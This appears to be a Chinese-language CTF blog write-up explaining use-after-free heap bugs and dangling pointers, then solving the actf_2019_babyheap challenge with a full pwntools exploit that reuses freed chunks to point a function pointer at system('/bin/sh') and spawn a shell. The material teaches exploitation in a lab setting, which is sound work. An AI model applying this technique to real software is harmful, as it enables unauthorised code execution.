UAF初识

UAF漏洞

漏洞简介

UAF —— Use After Free:其内容如同其名称,free后进行再利用。UAF是堆结构漏洞的一种重要的利用方式。
在程序中,UAF常有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL,然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
    而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

    Dangling Pointer(悬挂指针、悬空指针、迷途指针)是计算机编程中的一个常见且危险的问题,它指的是一个指针仍然保留着之前指向的内存地址,但是这片内存区域可能已经被释放或者不再有效,从而可能导致程序在使用该指针时出现未定义行为。

下面我将通过一道简单的例题展示一下UAF的攻击。

例题分析

题目来源:actf_2019_babyheap(UAF)

拿到题先检查保护信息,然后运行一下。
image
image
这是一道菜单题,没有开启PIE。
然后用ida反编译一下,定位到 main函数。
image-20250617125933275
经过我们的逆向之后,代码是这个样子的。
main函数:
image
menu函数:
image
可以看到该函数调用了system函数,我们再检索一下字符串,发现了/bin/sh
image
由于这道题没有开启PIE,所以system函数的地址和/bin/sh的地址我们就取得了,后续可能会有用。
creat:
image
creat函数先是malloc了一个0x10大小的堆块,然后把用户malloc的堆块的地址和print_context的地址存入该堆块。
print_content:
image
delete:
image
可见delete函数中再free掉堆块之后并没有将指针设置为NULL,说明程序中可能存在UAF漏洞。
show:
image
可以看到,show函数是通过调用函数指针来输出数据的,而这个函数的地址储存在ptr[index][2]处,参数储存在ptr[index][1]处
那么思路就十分明确了。我们可以先创造2个任意大小的堆块(远离0x10即可),然后free掉他们。然后再创建一个0x10(或者0x18)大小的堆块,通过修堆块的内容为binsh_addrsystem_addr然后再执行show(0)就可以了。说的可能有点晦涩难懂,以下是具体解释。
在我们申请两个堆块之后,大致情况如下。
image
然后我们再把这两个堆块free掉,再次申请0x10(0x18)大小的堆块。
此时由于堆管理机制,我们申请得到的struct3就是原来的struct2,content的堆块就是原来的struct1(后入先出),这样我们就可以把原来的content地址改为binsh的地址,print_content的地址改为system的地址,然后再show(0)就能够getshell(struct1的index为0)。
那么具体的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

def create(size, content):
p.sendlineafter('Your choice:', '1')
p.sendlineafter('Please input size:', str(size))
p.sendafter('Please input content: ', content)

def delete(idx):
p.sendlineafter('Your choice:', '2')
p.sendlineafter('Please input list index:', str(idx))

def show(idx):
p.sendlineafter('Your choice:', '3')
p.sendlineafter('Please input list index:', str(idx))

if __name__ == '__main__':
context(log_level='debug' , os = 'linux', arch = 'amd64')
pwnfile = './uaf'
p = process(pwnfile)
elf = ELF(pwnfile)

sys_addr = 0x4007A0
binsh_addr = 0x602010

create(0x100, 'a'*0x100)
create(0x100, 'b'*0x100)
delete(0)
delete(1)
create(0x10, p64(binsh_addr) + p64(sys_addr))
show(0)
p.interactive()